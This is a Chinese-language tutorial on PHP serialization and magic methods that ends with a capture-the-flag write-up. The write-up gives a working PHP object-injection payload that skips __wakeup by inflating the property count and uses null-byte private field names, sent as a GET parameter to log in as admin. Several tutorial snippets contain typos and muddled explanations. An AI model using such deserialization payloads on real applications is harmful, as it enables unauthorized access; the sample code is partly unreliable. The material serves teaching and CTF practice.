该函数用于将实例化的对象序列化,或者序列化数组
序列化对象
<?php
class demo{
public $name = 'cbatl10';
public function __contruct(){
$this->name = $name;
}
}
$test = new demo();
$test1 = serialize($test);
echo $test1;
得到
O:4:"demo":1:{s:4:"name";s:7:"cbatl10";}
序列化数组
<?php
$a = array('l1','l2','l3');
$serialized = serialize($a);
echo $serialized;
?>
得到结果
a:3:{i:0;s:2:"l1";i:1;s:2:"l2";i:2;s:2:"l3";}
每个字符都有各自的意义,从这两个得到的序列化结果也可以看出来
o表示对象,a表示数组,s表示字符,i表示数字 s:后面的数字表示又多少个字符。
从名字来感觉,一个序列化一个反序列化,很轻易的就能知道unserialize()函数的用处。没错,反序列化函数就是用来将序列化后的字符串再转换为对象或数组。
反序列化为对象
<?php
class demo{
public $name = 'cbatl10';
public function __contruct(){
$this->name = $name;
}
}
$test = new demo();
$test1 = serialize($test);
#echo $test1;
$test2 = unserialize($test1);
print_r($test2);
?>
得到了反序列化后的结果
demo Object
(
[name] => cbatl10
)
反序列化数组
也将会返回数组的信息,这里不在写了。
在php类中会包含一些特殊的函数叫魔法函数,下面学习一下这些魔法函数
魔法函数均是以两个下划线开头(__),它会在特定的情况下被调用。
__construct()对象初始化时会调用此方法。
__destruct() 当对象销毁时会调用此方法,什么时候会主动销毁对象呢?
一是用户主动销毁,二是当程序结束后自动销毁。
<?php
class Demo{
private $flag;
public function __construct(){
$this->flag=true;
echo 'brith'.PHP_EOL;
}
public function __destruct(){
$this->flag=false;
echo 'die'.PHP_EOL;
}
}
//主动销毁对象
$test = new Demo();
sleep(1);
//程序完成后自动销毁
$test1 = new Demo();
sleep(1);
?>
由上代码可以看到__construct() 在运行时是用户自动删除对象
__destruct()是程序完成后自动销毁对象
运行之后返回了 brith die
面对对象编程中使用频率很高的两个方法,当设置和获取对象的属性不被允许时,此方法会被调用。当不存在或不被允许读写时才会被调用,所以当一个对象的属性不确定时,用这两个方法的效果很好。
__get(name) 获取对象不存在的属性或者不被允许访问的属性时被调用。name为要获取的属性名。
__set(name,value) 设置对象不存在的属性或者不被允许访问的属性时被调用。name为要设置的属性名,value表示要设置的值。
<?php
class Lyt{
protected $_data;
public function __get($name){
if (isset($this->_data[$name])){
return $this->_data;
}
return false;
}
public function __set($name,$value){
$this->_data=$value;
}
}
$test = new Lyt();
$test-> name= 'lyt';
echo $test->name.PHP_EOL;
?>
当调用方法isset()判断对象是否存在某属性,调用unset()注销某属性时。且这些属性不存在或不可访问时,会分别调用isset()和unset()方法
都是当属性不存在或者不可访问时被调用
__isset(name) 调用isset()方法来判断属性不存在或不可访问,name表示属性名
__unset(name) 调用unset()方法来删除不可访问的类属性, name表示属性名
<?php
class study{
public $name;
public $sex;
public $age;
public function __construct($name,$sex,$age){
$this -> name = $name;
$this -> sex = $sex;
$this -> age = $age;
}
public function __isset($name){
echo 'The property'. $name .'no exits'.PHP_EOL;
}
public function __unset($name){
echo 'The property'. $name .'can not unset'.PHP_EOL;
}
}
$test = new study('cbatl10','男',20);
isset($test->name);
isset($test->real_name);
unset($test->age);
?>
通过前面我们可以知道当获取对象的属性不存在时会调用__get()方法,但是如果当这个方法也不存在时呢,php引擎就会自动调用到我们的call()方法。
看到callstatic()就可以知道是一个静态的方法,所以他的作用是,当调用的是一个静态的方法时,php引擎会自动调用callstatic()方法。要注意的是在php5.3以上的版本才支持。
__call(method,args) 调用对象方法不存在或不允许被调用时被调用,method表示方法名,args表示调用的参数。
__callstatic(method,args) 调用对象静态方法不存在或不被允许访问时被调用,method表示方法名,args表示调用的参数。
<?php
class People{
public function jump(){
echo 'I can jump'.PHP_EOL;
}
public function run(){
echo 'I can run'.PHP_EOL;
}
public function __call($method,$args){
echo 'I can not ' .$method.PHP_EOL;
}
public function __callstatic($method,$args){
echo 'We are not'.$method.PHP_EOL;
}
}
$people = new People();
$people->jump();
$people->run();
$people->fly();
People:: fly();
?>
看字面意思就知道一个是睡眠一个是醒来,在php中有一个searialize()函数,它会将对象的各个属性序列化以方便保存起来,而相反的是有一个unsearialize()函数,会将保存的序列化的数据解开变成对象。也叫唤醒。
__sleep() 当调用searialize()方法时调用,返回值为数组,表示需要序列化的数据项。
__wakeup() 当调用unsearalize()方法时调用。一般用来唤醒时初始化资源对象。
<?php
class User{
public $username;
public $sex;
public $passFile;
public $password;
public function __contruct($username,$sex,$passFile){
$this->username=$username;
$this->sex=$sex;
$this->passFile=$passFile;
$this->password=file_get_contents($passFile);
}
public function getPassword(){
return $this->password;
}
public function __sleep(){
return array(
'username','sex','passFile',
);
}
public function __wakeup(){
$this->password=file_get_contents($this->passFile);
}
}
$test = new User('cbatl','male','pass.data');
$test1 = serialize($test);
echo $test1.PHP_EOL;
$test2 = unserialize($test1);
echo $test2->getPassword().PHP_EOL;
这个很容易理解,str就是字符串,这个方法就是将对象强制转换为string类型
__tostring()方法当对象在需要转换成字符串时,会调用此方法。
<?php
class info{
public function __toString(){
return 'info';
}
}
$test = new info();
//输出字符串info
echo $test.PHP_EOL;
//输出字符串info的md5值 caf9b6b99962bf5c2264824231d7a40c
echo md5($test).PHP_EOL;
//截取字符串
echo substr($test,0,3).PHP_EOL;
?>
此方法在复制对象时被调用。
我们可以这样理解a为一个实例化的对象,当b=a时。b为a 的引用。当a发生改变时。b也会随之发生改变,为了使b不发生改变所以我们需要用b= clone a
<?php
class cbat{
public $value;
public function __clone(){
echo "Clone myself".PHP_EOL;
}
}
$test = new cbat();
$test->value=4;
$newtest = clone $test;
$test->value = 5;
echo 'The test is'.$test->value.PHP_EOL;
//The test is 5
echo 'The newtest is',$newtest->value.PHP_EOL;
//The newtest is 4
?>
字面意思是自动加载。主要是用来自动加载类。
在php中要使用另外一个文件中的类需要用require或include方法,包括require_once和include_once导入进来。那么如果我要使用的类未被导入,就会开始调用__autoload()方法。
__autoload(name) name表示需要自动导入的类名。
<?
class cbatl10{
public function __construct(){
echo "Welcome Cbatl10's".PHP_EOL;
}
function __autoload($name){
$classPath = str_replace('We',lyt,$name);
require_once("$classPath.php");
}
$test = new cbatl10();
echo $test;
?>
打开题目看到如图所示
看到说有网站备份的习惯,于是就有后台扫描工具扫了下,发现了www.zip
于是下载了下来
发现了压缩包里的文件,打开flag.php给了一个类似flag的字符串,结果是错的。
那就接着看吧。先看了index.php文件
在这个文件发现了入口文件class.php,还知道了是GET传参方式,传入select.
接下来查看class.php,审计后
可以知道我们要传入两个参数
一个username 为admin
一个password 为 100
于是可以写脚本构造POC链
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
$b = serialize($a);
echo $b.PHP_EOL;
//得到结果 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
?>
接下来就是绕过__wakeup()
我们审计代码时发现,__wakeup()的作用就是将username重新赋值为 guest,所以我们要绕过这个函数。
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行,我们可以将字符串中O:4:”Name”后面的2改为3及以上的整数。这样就可以绕过。
新的POC链
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
注意我们使用的private来声明字段,private在序列化中类名和字段名前都要加上ASCII 码为 0 的字符(不可见字符),如果我们直接复制结果,该空白字符会丢失,需要我们自己加上
最终POC
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
然后GET传参构造payload
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
得到flag!